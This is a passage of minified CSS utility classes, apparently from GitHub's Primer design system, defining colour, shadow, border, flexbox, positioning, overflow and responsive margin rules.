!important}.color-shadow-extra-large{box-shadow:var(--color-shadow-extra-large) !important}.box-shadow-none{box-shadow:none !important}.color-fg-default{color:var(--color-fg-default) !important}.color-fg-muted{color:var(--color-fg-muted) !important}.color-fg-subtle{color:var(--color-fg-subtle) !important}.color-fg-accent{color:var(--color-accent-fg) !important}.color-fg-success{color:var(--color-success-fg) !important}.color-fg-attention{color:var(--color-attention-fg) !important}.color-fg-severe{color:var(--color-severe-fg) !important}.color-fg-danger{color:var(--color-danger-fg) !important}.color-fg-open{color:var(--color-open-fg) !important}.color-fg-closed{color:var(--color-closed-fg) !important}.color-fg-done{color:var(--color-done-fg) !important}.color-fg-sponsors{color:var(--color-sponsors-fg) !important}.color-fg-on-emphasis{color:var(--color-fg-on-emphasis) !important}.color-bg-default{background-color:var(--color-canvas-default) !important}.color-bg-overlay{background-color:var(--color-canvas-overlay) !important}.color-bg-inset{background-color:var(--color-canvas-inset) !important}.color-bg-subtle{background-color:var(--color-canvas-subtle) !important}.color-bg-emphasis{background-color:var(--color-neutral-emphasis-plus) !important}.color-bg-accent{background-color:var(--color-accent-subtle) !important}.color-bg-accent-emphasis{background-color:var(--color-accent-emphasis) !important}.color-bg-success{background-color:var(--color-success-subtle) !important}.color-bg-success-emphasis{background-color:var(--color-success-emphasis) !important}.color-bg-attention{background-color:var(--color-attention-subtle) !important}.color-bg-attention-emphasis{background-color:var(--color-attention-emphasis) !important}.color-bg-severe{background-color:var(--color-severe-subtle) !important}.color-bg-severe-emphasis{background-color:var(--color-severe-emphasis) !important}.color-bg-danger{background-color:var(--color-danger-subtle) !important}.color-bg-danger-emphasis{background-color:var(--color-danger-emphasis) !important}.color-bg-open{background-color:var(--color-open-subtle) !important}.color-bg-open-emphasis{background-color:var(--color-open-emphasis) !important}.color-bg-closed{background-color:var(--color-closed-subtle) !important}.color-bg-closed-emphasis{background-color:var(--color-closed-emphasis) !important}.color-bg-done{background-color:var(--color-done-subtle) !important}.color-bg-done-emphasis{background-color:var(--color-done-emphasis) !important}.color-bg-sponsors{background-color:var(--color-sponsors-subtle) !important}.color-bg-sponsors-emphasis{background-color:var(--color-sponsors-emphasis) !important}.color-bg-transparent{background-color:transparent !important}.color-border-default{border-color:var(--color-border-default) !important}.color-border-muted{border-color:var(--color-border-muted) !important}.color-border-subtle{border-color:var(--color-border-subtle) !important}.color-border-accent{border-color:var(--color-accent-muted) !important}.color-border-accent-emphasis{border-color:var(--color-accent-emphasis) !important}.color-border-success{border-color:var(--color-success-muted) !important}.color-border-success-emphasis{border-color:var(--color-success-emphasis) !important}.color-border-attention{border-color:var(--color-attention-muted) !important}.color-border-attention-emphasis{border-color:var(--color-attention-emphasis) !important}.color-border-severe{border-color:var(--color-severe-muted) !important}.color-border-severe-emphasis{border-color:var(--color-severe-emphasis) !important}.color-border-danger{border-color:var(--color-danger-muted) !important}.color-border-danger-emphasis{border-color:var(--color-danger-emphasis) !important}.color-border-open{border-color:var(--color-open-muted) !important}.color-border-open-emphasis{border-color:var(--color-open-emphasis) !important}.color-border-closed{border-color:var(--color-closed-muted) !important}.color-border-closed-emphasis{border-color:var(--color-closed-emphasis) !important}.color-border-done{border-color:var(--color-done-muted) !important}.color-border-done-emphasis{border-color:var(--color-done-emphasis) !important}.color-border-sponsors{border-color:var(--color-sponsors-muted) !important}.color-border-sponsors-emphasis{border-color:var(--color-sponsors-emphasis) !important}.color-fg-inherit{color:inherit !important}.details-overlay[open]>summary::before{position:fixed;top:0;right:0;bottom:0;left:0;z-index:80;display:block;cursor:default;content:" ";background:transparent}.details-overlay-dark[open]>summary::before{z-index:111;background:var(--color-primer-canvas-backdrop)}.details-reset>summary{list-style:none;transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.details-reset>summary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-reset>summary:focus:not(:focus-visible){outline:solid 1px transparent}.details-reset>summary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-reset>summary.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-reset>summary.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.details-reset>summary.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-reset>summary::before{display:none}.details-reset>summary::-webkit-details-marker{display:none}.details-overlay>summary{transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.details-overlay>summary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-overlay>summary:focus:not(:focus-visible){outline:solid 1px transparent}.details-overlay>summary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-overlay>summary.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-overlay>summary.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.details-overlay>summary.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.flex-row{flex-direction:row !important}.flex-row-reverse{flex-direction:row-reverse !important}.flex-column{flex-direction:column !important}.flex-column-reverse{flex-direction:column-reverse !important}.flex-wrap{flex-wrap:wrap !important}.flex-nowrap{flex-wrap:nowrap !important}.flex-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-justify-start{justify-content:flex-start !important}.flex-justify-end{justify-content:flex-end !important}.flex-justify-center{justify-content:center !important}.flex-justify-between{justify-content:space-between !important}.flex-justify-around{justify-content:space-around !important}.flex-items-start{align-items:flex-start !important}.flex-items-end{align-items:flex-end !important}.flex-items-center{align-items:center !important}.flex-items-baseline{align-items:baseline !important}.flex-items-stretch{align-items:stretch !important}.flex-content-start{align-content:flex-start !important}.flex-content-end{align-content:flex-end !important}.flex-content-center{align-content:center !important}.flex-content-between{align-content:space-between !important}.flex-content-around{align-content:space-around !important}.flex-content-stretch{align-content:stretch !important}.flex-1{flex:1 !important}.flex-auto{flex:auto !important}.flex-grow-0{flex-grow:0 !important}.flex-shrink-0{flex-shrink:0 !important}.flex-self-auto{align-self:auto !important}.flex-self-start{align-self:flex-start !important}.flex-self-end{align-self:flex-end !important}.flex-self-center{align-self:center !important}.flex-self-baseline{align-self:baseline !important}.flex-self-stretch{align-self:stretch !important}.flex-order-1{order:1 !important}.flex-order-2{order:2 !important}.flex-order-none{order:inherit !important}@media(min-width: 544px){.flex-sm-row{flex-direction:row !important}.flex-sm-row-reverse{flex-direction:row-reverse !important}.flex-sm-column{flex-direction:column !important}.flex-sm-column-reverse{flex-direction:column-reverse !important}.flex-sm-wrap{flex-wrap:wrap !important}.flex-sm-nowrap{flex-wrap:nowrap !important}.flex-sm-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-sm-justify-start{justify-content:flex-start !important}.flex-sm-justify-end{justify-content:flex-end !important}.flex-sm-justify-center{justify-content:center !important}.flex-sm-justify-between{justify-content:space-between !important}.flex-sm-justify-around{justify-content:space-around !important}.flex-sm-items-start{align-items:flex-start !important}.flex-sm-items-end{align-items:flex-end !important}.flex-sm-items-center{align-items:center !important}.flex-sm-items-baseline{align-items:baseline !important}.flex-sm-items-stretch{align-items:stretch !important}.flex-sm-content-start{align-content:flex-start !important}.flex-sm-content-end{align-content:flex-end !important}.flex-sm-content-center{align-content:center !important}.flex-sm-content-between{align-content:space-between !important}.flex-sm-content-around{align-content:space-around !important}.flex-sm-content-stretch{align-content:stretch !important}.flex-sm-1{flex:1 !important}.flex-sm-auto{flex:auto !important}.flex-sm-grow-0{flex-grow:0 !important}.flex-sm-shrink-0{flex-shrink:0 !important}.flex-sm-self-auto{align-self:auto !important}.flex-sm-self-start{align-self:flex-start !important}.flex-sm-self-end{align-self:flex-end !important}.flex-sm-self-center{align-self:center !important}.flex-sm-self-baseline{align-self:baseline !important}.flex-sm-self-stretch{align-self:stretch !important}.flex-sm-order-1{order:1 !important}.flex-sm-order-2{order:2 !important}.flex-sm-order-none{order:inherit !important}}@media(min-width: 768px){.flex-md-row{flex-direction:row !important}.flex-md-row-reverse{flex-direction:row-reverse !important}.flex-md-column{flex-direction:column !important}.flex-md-column-reverse{flex-direction:column-reverse !important}.flex-md-wrap{flex-wrap:wrap !important}.flex-md-nowrap{flex-wrap:nowrap !important}.flex-md-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-md-justify-start{justify-content:flex-start !important}.flex-md-justify-end{justify-content:flex-end !important}.flex-md-justify-center{justify-content:center !important}.flex-md-justify-between{justify-content:space-between !important}.flex-md-justify-around{justify-content:space-around !important}.flex-md-items-start{align-items:flex-start !important}.flex-md-items-end{align-items:flex-end !important}.flex-md-items-center{align-items:center !important}.flex-md-items-baseline{align-items:baseline !important}.flex-md-items-stretch{align-items:stretch !important}.flex-md-content-start{align-content:flex-start !important}.flex-md-content-end{align-content:flex-end !important}.flex-md-content-center{align-content:center !important}.flex-md-content-between{align-content:space-between !important}.flex-md-content-around{align-content:space-around !important}.flex-md-content-stretch{align-content:stretch !important}.flex-md-1{flex:1 !important}.flex-md-auto{flex:auto !important}.flex-md-grow-0{flex-grow:0 !important}.flex-md-shrink-0{flex-shrink:0 !important}.flex-md-self-auto{align-self:auto !important}.flex-md-self-start{align-self:flex-start !important}.flex-md-self-end{align-self:flex-end !important}.flex-md-self-center{align-self:center !important}.flex-md-self-baseline{align-self:baseline !important}.flex-md-self-stretch{align-self:stretch !important}.flex-md-order-1{order:1 !important}.flex-md-order-2{order:2 !important}.flex-md-order-none{order:inherit !important}}@media(min-width: 1012px){.flex-lg-row{flex-direction:row !important}.flex-lg-row-reverse{flex-direction:row-reverse !important}.flex-lg-column{flex-direction:column !important}.flex-lg-column-reverse{flex-direction:column-reverse !important}.flex-lg-wrap{flex-wrap:wrap !important}.flex-lg-nowrap{flex-wrap:nowrap !important}.flex-lg-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-lg-justify-start{justify-content:flex-start !important}.flex-lg-justify-end{justify-content:flex-end !important}.flex-lg-justify-center{justify-content:center !important}.flex-lg-justify-between{justify-content:space-between !important}.flex-lg-justify-around{justify-content:space-around !important}.flex-lg-items-start{align-items:flex-start !important}.flex-lg-items-end{align-items:flex-end !important}.flex-lg-items-center{align-items:center !important}.flex-lg-items-baseline{align-items:baseline !important}.flex-lg-items-stretch{align-items:stretch !important}.flex-lg-content-start{align-content:flex-start !important}.flex-lg-content-end{align-content:flex-end !important}.flex-lg-content-center{align-content:center !important}.flex-lg-content-between{align-content:space-between !important}.flex-lg-content-around{align-content:space-around !important}.flex-lg-content-stretch{align-content:stretch !important}.flex-lg-1{flex:1 !important}.flex-lg-auto{flex:auto !important}.flex-lg-grow-0{flex-grow:0 !important}.flex-lg-shrink-0{flex-shrink:0 !important}.flex-lg-self-auto{align-self:auto !important}.flex-lg-self-start{align-self:flex-start !important}.flex-lg-self-end{align-self:flex-end !important}.flex-lg-self-center{align-self:center !important}.flex-lg-self-baseline{align-self:baseline !important}.flex-lg-self-stretch{align-self:stretch !important}.flex-lg-order-1{order:1 !important}.flex-lg-order-2{order:2 !important}.flex-lg-order-none{order:inherit !important}}@media(min-width: 1280px){.flex-xl-row{flex-direction:row !important}.flex-xl-row-reverse{flex-direction:row-reverse !important}.flex-xl-column{flex-direction:column !important}.flex-xl-column-reverse{flex-direction:column-reverse !important}.flex-xl-wrap{flex-wrap:wrap !important}.flex-xl-nowrap{flex-wrap:nowrap !important}.flex-xl-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-xl-justify-start{justify-content:flex-start !important}.flex-xl-justify-end{justify-content:flex-end !important}.flex-xl-justify-center{justify-content:center !important}.flex-xl-justify-between{justify-content:space-between !important}.flex-xl-justify-around{justify-content:space-around !important}.flex-xl-items-start{align-items:flex-start !important}.flex-xl-items-end{align-items:flex-end !important}.flex-xl-items-center{align-items:center !important}.flex-xl-items-baseline{align-items:baseline !important}.flex-xl-items-stretch{align-items:stretch !important}.flex-xl-content-start{align-content:flex-start !important}.flex-xl-content-end{align-content:flex-end !important}.flex-xl-content-center{align-content:center !important}.flex-xl-content-between{align-content:space-between !important}.flex-xl-content-around{align-content:space-around !important}.flex-xl-content-stretch{align-content:stretch !important}.flex-xl-1{flex:1 !important}.flex-xl-auto{flex:auto !important}.flex-xl-grow-0{flex-grow:0 !important}.flex-xl-shrink-0{flex-shrink:0 !important}.flex-xl-self-auto{align-self:auto !important}.flex-xl-self-start{align-self:flex-start !important}.flex-xl-self-end{align-self:flex-end !important}.flex-xl-self-center{align-self:center !important}.flex-xl-self-baseline{align-self:baseline !important}.flex-xl-self-stretch{align-self:stretch !important}.flex-xl-order-1{order:1 !important}.flex-xl-order-2{order:2 !important}.flex-xl-order-none{order:inherit !important}}.position-static{position:static !important}.position-relative{position:relative !important}.position-absolute{position:absolute !important}.position-fixed{position:fixed !important}.position-sticky{position:sticky !important}@media(min-width: 544px){.position-sm-static{position:static !important}.position-sm-relative{position:relative !important}.position-sm-absolute{position:absolute !important}.position-sm-fixed{position:fixed !important}.position-sm-sticky{position:sticky !important}}@media(min-width: 768px){.position-md-static{position:static !important}.position-md-relative{position:relative !important}.position-md-absolute{position:absolute !important}.position-md-fixed{position:fixed !important}.position-md-sticky{position:sticky !important}}@media(min-width: 1012px){.position-lg-static{position:static !important}.position-lg-relative{position:relative !important}.position-lg-absolute{position:absolute !important}.position-lg-fixed{position:fixed !important}.position-lg-sticky{position:sticky !important}}@media(min-width: 1280px){.position-xl-static{position:static !important}.position-xl-relative{position:relative !important}.position-xl-absolute{position:absolute !important}.position-xl-fixed{position:fixed !important}.position-xl-sticky{position:sticky !important}}.top-0{top:0 !important}.right-0{right:0 !important}.bottom-0{bottom:0 !important}.left-0{left:0 !important}.top-auto{top:auto !important}.right-auto{right:auto !important}.bottom-auto{bottom:auto !important}.left-auto{left:auto !important}@media(min-width: 544px){.top-sm-0{top:0 !important}.right-sm-0{right:0 !important}.bottom-sm-0{bottom:0 !important}.left-sm-0{left:0 !important}.top-sm-auto{top:auto !important}.right-sm-auto{right:auto !important}.bottom-sm-auto{bottom:auto !important}.left-sm-auto{left:auto !important}}@media(min-width: 768px){.top-md-0{top:0 !important}.right-md-0{right:0 !important}.bottom-md-0{bottom:0 !important}.left-md-0{left:0 !important}.top-md-auto{top:auto !important}.right-md-auto{right:auto !important}.bottom-md-auto{bottom:auto !important}.left-md-auto{left:auto !important}}@media(min-width: 1012px){.top-lg-0{top:0 !important}.right-lg-0{right:0 !important}.bottom-lg-0{bottom:0 !important}.left-lg-0{left:0 !important}.top-lg-auto{top:auto !important}.right-lg-auto{right:auto !important}.bottom-lg-auto{bottom:auto !important}.left-lg-auto{left:auto !important}}@media(min-width: 1280px){.top-xl-0{top:0 !important}.right-xl-0{right:0 !important}.bottom-xl-0{bottom:0 !important}.left-xl-0{left:0 !important}.top-xl-auto{top:auto !important}.right-xl-auto{right:auto !important}.bottom-xl-auto{bottom:auto !important}.left-xl-auto{left:auto !important}}.v-align-middle{vertical-align:middle !important}.v-align-top{vertical-align:top !important}.v-align-bottom{vertical-align:bottom !important}.v-align-text-top{vertical-align:text-top !important}.v-align-text-bottom{vertical-align:text-bottom !important}.v-align-baseline{vertical-align:baseline !important}.overflow-visible{overflow:visible !important}.overflow-x-visible{overflow-x:visible !important}.overflow-y-visible{overflow-y:visible !important}.overflow-hidden{overflow:hidden !important}.overflow-x-hidden{overflow-x:hidden !important}.overflow-y-hidden{overflow-y:hidden !important}.overflow-auto{overflow:auto !important}.overflow-x-auto{overflow-x:auto !important}.overflow-y-auto{overflow-y:auto !important}.overflow-scroll{overflow:scroll !important}.overflow-x-scroll{overflow-x:scroll !important}.overflow-y-scroll{overflow-y:scroll !important}@media(min-width: 544px){.overflow-sm-visible{overflow:visible !important}.overflow-sm-x-visible{overflow-x:visible !important}.overflow-sm-y-visible{overflow-y:visible !important}.overflow-sm-hidden{overflow:hidden !important}.overflow-sm-x-hidden{overflow-x:hidden !important}.overflow-sm-y-hidden{overflow-y:hidden !important}.overflow-sm-auto{overflow:auto !important}.overflow-sm-x-auto{overflow-x:auto !important}.overflow-sm-y-auto{overflow-y:auto !important}.overflow-sm-scroll{overflow:scroll !important}.overflow-sm-x-scroll{overflow-x:scroll !important}.overflow-sm-y-scroll{overflow-y:scroll !important}}@media(min-width: 768px){.overflow-md-visible{overflow:visible !important}.overflow-md-x-visible{overflow-x:visible !important}.overflow-md-y-visible{overflow-y:visible !important}.overflow-md-hidden{overflow:hidden !important}.overflow-md-x-hidden{overflow-x:hidden !important}.overflow-md-y-hidden{overflow-y:hidden !important}.overflow-md-auto{overflow:auto !important}.overflow-md-x-auto{overflow-x:auto !important}.overflow-md-y-auto{overflow-y:auto !important}.overflow-md-scroll{overflow:scroll !important}.overflow-md-x-scroll{overflow-x:scroll !important}.overflow-md-y-scroll{overflow-y:scroll !important}}@media(min-width: 1012px){.overflow-lg-visible{overflow:visible !important}.overflow-lg-x-visible{overflow-x:visible !important}.overflow-lg-y-visible{overflow-y:visible !important}.overflow-lg-hidden{overflow:hidden !important}.overflow-lg-x-hidden{overflow-x:hidden !important}.overflow-lg-y-hidden{overflow-y:hidden !important}.overflow-lg-auto{overflow:auto !important}.overflow-lg-x-auto{overflow-x:auto !important}.overflow-lg-y-auto{overflow-y:auto !important}.overflow-lg-scroll{overflow:scroll !important}.overflow-lg-x-scroll{overflow-x:scroll !important}.overflow-lg-y-scroll{overflow-y:scroll !important}}@media(min-width: 1280px){.overflow-xl-visible{overflow:visible !important}.overflow-xl-x-visible{overflow-x:visible !important}.overflow-xl-y-visible{overflow-y:visible !important}.overflow-xl-hidden{overflow:hidden !important}.overflow-xl-x-hidden{overflow-x:hidden !important}.overflow-xl-y-hidden{overflow-y:hidden !important}.overflow-xl-auto{overflow:auto !important}.overflow-xl-x-auto{overflow-x:auto !important}.overflow-xl-y-auto{overflow-y:auto !important}.overflow-xl-scroll{overflow:scroll !important}.overflow-xl-x-scroll{overflow-x:scroll !important}.overflow-xl-y-scroll{overflow-y:scroll !important}}.clearfix::before{display:table;content:""}.clearfix::after{display:table;clear:both;content:""}.float-left{float:left !important}.float-right{float:right !important}.float-none{float:none !important}@media(min-width: 544px){.float-sm-left{float:left !important}.float-sm-right{float:right !important}.float-sm-none{float:none !important}}@media(min-width: 768px){.float-md-left{float:left !important}.float-md-right{float:right !important}.float-md-none{float:none !important}}@media(min-width: 1012px){.float-lg-left{float:left !important}.float-lg-right{float:right !important}.float-lg-none{float:none !important}}@media(min-width: 1280px){.float-xl-left{float:left !important}.float-xl-right{float:right !important}.float-xl-none{float:none !important}}.width-fit{max-width:100% !important}.width-full{width:100% !important}.height-fit{max-height:100% !important}.height-full{height:100% !important}.min-width-0{min-width:0 !important}.width-auto{width:auto !important}.direction-rtl{direction:rtl !important}.direction-ltr{direction:ltr !important}@media(min-width: 544px){.width-sm-auto{width:auto !important}.direction-sm-rtl{direction:rtl !important}.direction-sm-ltr{direction:ltr !important}}@media(min-width: 768px){.width-md-auto{width:auto !important}.direction-md-rtl{direction:rtl !important}.direction-md-ltr{direction:ltr !important}}@media(min-width: 1012px){.width-lg-auto{width:auto !important}.direction-lg-rtl{direction:rtl !important}.direction-lg-ltr{direction:ltr !important}}@media(min-width: 1280px){.width-xl-auto{width:auto !important}.direction-xl-rtl{direction:rtl !important}.direction-xl-ltr{direction:ltr !important}}.m-0{margin:0 !important}.mt-0{margin-top:0 !important}.mb-0{margin-bottom:0 !important}.mr-0{margin-right:0 !important}.ml-0{margin-left:0 !important}.mx-0{margin-right:0 !important;margin-left:0 !important}.my-0{margin-top:0 !important;margin-bottom:0 !important}.m-1{margin:4px !important}.mt-1{margin-top:4px !important}.mb-1{margin-bottom:4px !important}.mr-1{margin-right:4px !important}.ml-1{margin-left:4px !important}.mt-n1{margin-top:-4px !important}.mb-n1{margin-bottom:-4px !important}.mr-n1{margin-right:-4px !important}.ml-n1{margin-left:-4px !important}.mx-1{margin-right:4px !important;margin-left:4px !important}.my-1{margin-top:4px !important;margin-bottom:4px !important}.m-2{margin:8px !important}.mt-2{margin-top:8px !important}.mb-2{margin-bottom:8px !important}.mr-2{margin-right:8px !important}.ml-2{margin-left:8px !important}.mt-n2{margin-top:-8px !important}.mb-n2{margin-bottom:-8px !important}.mr-n2{margin-right:-8px !important}.ml-n2{margin-left:-8px !important}.mx-2{margin-right:8px !important;margin-left:8px !important}.my-2{margin-top:8px !important;margin-bottom:8px !important}.m-3{margin:16px !important}.mt-3{margin-top:16px !important}.mb-3{margin-bottom:16px !important}.mr-3{margin-right:16px !important}.ml-3{margin-left:16px !important}.mt-n3{margin-top:-16px !important}.mb-n3{margin-bottom:-16px !important}.mr-n3{margin-right:-16px !important}.ml-n3{margin-left:-16px !important}.mx-3{margin-right:16px !important;margin-left:16px !important}.my-3{margin-top:16px !important;margin-bottom:16px !important}.m-4{margin:24px !important}.mt-4{margin-top:24px !important}.mb-4{margin-bottom:24px !important}.mr-4{margin-right:24px !important}.ml-4{margin-left:24px !important}.mt-n4{margin-top:-24px !important}.mb-n4{margin-bottom:-24px !important}.mr-n4{margin-right:-24px !important}.ml-n4{margin-left:-24px !important}.mx-4{margin-right:24px !important;margin-left:24px !important}.my-4{margin-top:24px !important;margin-bottom:24px !important}.m-5{margin:32px !important}.mt-5{margin-top:32px !important}.mb-5{margin-bottom:32px !important}.mr-5{margin-right:32px !important}.ml-5{margin-left:32px !important}.mt-n5{margin-top:-32px !important}.mb-n5{margin-bottom:-32px !important}.mr-n5{margin-right:-32px !important}.ml-n5{margin-left:-32px !important}.mx-5{margin-right:32px !important;margin-left:32px !important}.my-5{margin-top:32px !important;margin-bottom:32px !important}.m-6{margin:40px !important}.mt-6{margin-top:40px !important}.mb-6{margin-bottom:40px !important}.mr-6{margin-right:40px !important}.ml-6{margin-left:40px !important}.mt-n6{margin-top:-40px !important}.mb-n6{margin-bottom:-40px !important}.mr-n6{margin-right:-40px !important}.ml-n6{margin-left:-40px !important}.mx-6{margin-right:40px !important;margin-left:40px !important}.my-6{margin-top:40px !important;margin-bottom:40px !important}.mt-7{margin-top:48px !important}.mb-7{margin-bottom:48px !important}.mt-n7{margin-top:-48px !important}.mb-n7{margin-bottom:-48px !important}.my-7{margin-top:48px !important;margin-bottom:48px !important}.mt-8{margin-top:64px !important}.mb-8{margin-bottom:64px !important}.mt-n8{margin-top:-64px !important}.mb-n8{margin-bottom:-64px !important}.my-8{margin-top:64px !important;margin-bottom:64px !important}.mt-9{margin-top:80px !important}.mb-9{margin-bottom:80px !important}.mt-n9{margin-top:-80px !important}.mb-n9{margin-bottom:-80px !important}.my-9{margin-top:80px !important;margin-bottom:80px !important}.mt-10{margin-top:96px !important}.mb-10{margin-bottom:96px !important}.mt-n10{margin-top:-96px !important}.mb-n10{margin-bottom:-96px !important}.my-10{margin-top:96px !important;margin-bottom:96px !important}.mt-11{margin-top:112px !important}.mb-11{margin-bottom:112px !important}.mt-n11{margin-top:-112px !important}.mb-n11{margin-bottom:-112px !important}.my-11{margin-top:112px !important;margin-bottom:112px !important}.mt-12{margin-top:128px !important}.mb-12{margin-bottom:128px !important}.mt-n12{margin-top:-128px !important}.mb-n12{margin-bottom:-128px !important}.my-12{margin-top:128px !important;margin-bottom:128px !important}.mx-auto{margin-right:auto !important;margin-left:auto !important}@media(min-width: 544px){.m-sm-0{margin:0 !important}.mt-sm-0{margin-top:0 !important}.mb-sm-0{margin-bottom:0 !important}.mr-sm-0{margin-right:0 !important}.ml-sm-0{margin-left:0 !important}.mx-sm-0{margin-right:0 !important;margin-left:0 !important}.my-sm-0{margin-top:0 !important;margin-bottom:0 !important}.m-sm-1{margin:4px !important}.mt-sm-1{margin-top:4px !important}.mb-sm-1{margin-bottom:4px !important}.mr-sm-1{margin-right:4px !important}.ml-sm-1{margin-left:4px !important}.mt-sm-n1{margin-top:-4px !important}.mb-sm-n1{margin-bottom:-4px !important}.mr-sm-n1{margin-right:-4px !important}.ml-sm-n1{margin-left:-4px !important}.mx-sm-1{margin-right:4px !important;margin-left:4px !important}.my-sm-1{margin-top:4px !important;margin-bottom:4px !important}.m-sm-2{margin:8px !important}.mt-sm-2{margin-top:8px !important}.mb-sm-2{margin-bottom:8px !important}.mr-sm-2{margin-right:8px !important}.ml-sm-2{margin-left:8px !important}.mt-sm-n2{margin-top:-8px !important}.mb-sm-n2{margin-bottom:-8px !important}.mr-sm-n2{margin-right:-8px !important}.ml-sm-n2{margin-left:-8px !important}.mx-sm-2{margin-right:8px !important;margin-left:8px !important}.my-sm-2{margin-top:8px !important;margin-bottom:8px !important}.m-sm-3{margin:16px !important}.mt-sm-3{margin-top:16px !important}.mb-sm-3{margin-bottom:16px !important}.mr-sm-3{margin-right:16px !important}.ml-sm-3{margin-left:16px !important}.mt-sm-n3{margin-top:-16px !important}.mb-sm-n3{margin-bottom:-16px !important}.mr-sm-n3{margin-right:-16px !important}.ml-sm-n3{margin-left:-16px !important}.mx-sm-3{margin-right:16px !important;margin-left:16px !important}.my-sm-3{margin-top:16px !important;margin-bottom:16px !important}.m-sm-4{margin:24px !important}.mt-sm-4{margin-top:24px !important}.mb-sm-4{margin-bottom:24px !important}.mr-sm-4{margin-right:24px !important}.ml-sm-4{margin-left:24px !important}.mt-sm-n4{margin-top:-24px !important}.mb-sm-n4{margin-bottom:-24px !important}.mr-sm-n4{margin-right:-24px !important}.ml-sm-n4{margin-left:-24px !important}.mx-sm-4{margin-right:24px !important;margin-left:24px !important}.my-sm-4{margin-top:24px !important;margin-bottom:24px !important}.m-sm-5{margin:32px !important}.mt-sm-5{margin-top:32px !important}.mb-sm-5{margin-bottom:32px !important}.mr-sm-5{margin-right:32px !important}.ml-sm-5{margin-left:32px !important}.mt-sm-n5{margin-top:-32px !important}.mb-sm-n5{margin-bottom:-32px !important}.mr-sm-n5{margin-right:-32px !important}.ml-sm-n5{margin-left:-32px !important}.mx-sm-5{margin-right:32px !important;margin-left:32px !important}.my-sm-5{margin-top:32px !important;margin-bottom:32px !important}.m-sm-6{margin:40px !important}.mt-sm-6{margin-top:40px !important}.mb-sm-6{margin-bottom:40px !important}.mr-sm-6{margin-right:40px !important}.ml-sm-6{margin-left:40px !important}.mt-sm-n6{margin-top:-40px !important}.mb-sm-n6{margin-bottom:-40px !important}.mr-sm-n6{margin-right:-40px !important}.ml-sm-n6{margin-left:-40px !important}.mx-sm-6{margin-right:40px !important;margin-left:40px !important}.my-sm-6{margin-top:40px !important;margin-bottom:40px !important}.mt-sm-7{margin-top:48px !important}.mb-sm-7{margin-bottom:48px !important}.mt-sm-n7{margin-top:-48px !important}.mb-sm-n7{margin-bottom:-48px !important}.my-sm-7{margin-top:48px !important;margin-bottom:48px !important}.mt-sm-8{margin-top:64px !important}.mb-sm-8{margin-bottom:64px !important}.mt-sm-n8{margin-top:-64px !important}.mb-sm-n8{margin-bottom:-64px !important}.my-sm-8{margin-top:64px !important;margin-bottom:64px !important}.mt-sm-9{margin-top:80px !important}.mb-sm-9{margin-bottom:80px !important}.mt-sm-n9{margin-top:-80px !important}.mb-sm-n9{margin-bottom:-80px !important}.my-sm-9{margin-top:80px !important;margin-bottom:80px !important}.mt-sm-10{margin-top:96px !important}.mb-sm-10{margin-bottom:96px !important}.mt-sm-n10{margin-top:-96px !important}.mb-sm-n10{margin-bottom:-96px !important}.my-sm-10{margin-top:96px !important;margin-bottom:96px !important}.mt-sm-11{margin-top:112px !important}.mb-sm-11{margin-bottom:112px !important}.mt-sm-n11{margin-top:-112px !important}.mb-sm-n11{margin-bottom:-112px !important}.my-sm-11{margin-top:112px !important;margin-bottom:112px !important}.mt-sm-12{margin-top:128px !important}.mb-sm-12{margin-bottom:128px !important}.mt-sm-n12{margin-top:-128px !important}.mb-sm-n12{margin-bottom:-128px !important}.my-sm-12{margin-top:128px !important;margin-bottom:128px !important}.mx-sm-auto{margin-right:auto !important;margin-left:auto !important}}@media(min-width: 768px){.m-md-0{margin:0 !important}.mt-md-0{margin-top:0 !important}.mb-md-0{margin-bottom:0 !important}.mr-md-0{margin-right:0 !important}.ml-md-0{margin-left:0 !important}.mx-md-0{margin-right:0 !important;margin-left:0 !important}.my-md-0{margin-top:0 !important;margin-bottom:0 !important}.m-md-1{margin:4px !important}.mt-md-1{margin-top:4px !important}.mb-md-1{margin-bottom:4px !important}.mr-md-1{margin-right:4px !important}.ml-md-1{margin-left:4px !important}.mt-md-n1{margin-top:-4px !important}.mb-md-n1{margin-bottom:-4px !important}.mr-md-n1{margin-right:-4px !important}.ml-md-n1{margin-left:-4px !important}.mx-md-1{margin-right:4px !important;margin-left:4px !important}.my-md-1{margin-top:4px !important;margin-bottom:4px !important}.m-md-2{margin:8px !important}.mt-md-2{margin-top:8px !important}.mb-md-2{margin-bottom:8px !important}.mr-md-2{margin-right:8px !important}.ml-md-2{margin-left:8px !important}.mt-md-n2{margin-top:-8px !important}.mb-md-n2{margin-bottom:-8px !important}.mr-md-n2{margin-right:-8px !important}.ml-md-n2{margin-left:-8px !important}.mx-md-2{margin-right:8px !important;margin-left:8px !important}.my-md-2{margin-top:8px !important;margin-bottom:8px !important}.m-md-3{margin:16px !important}.mt-md-3{margin-top:16px !important}.mb-md-3{margin-bottom:16px !important}.mr-md-3{margin-right:16px !important}.ml-md-3{margin-left:16px !important}.mt-md-n3{margin-top:-16px !important}.mb-md-n3{margin-bottom:-16px !important}.mr-md-n3{margin-right:-16px !important}.ml-md-n3{margin-left:-16px 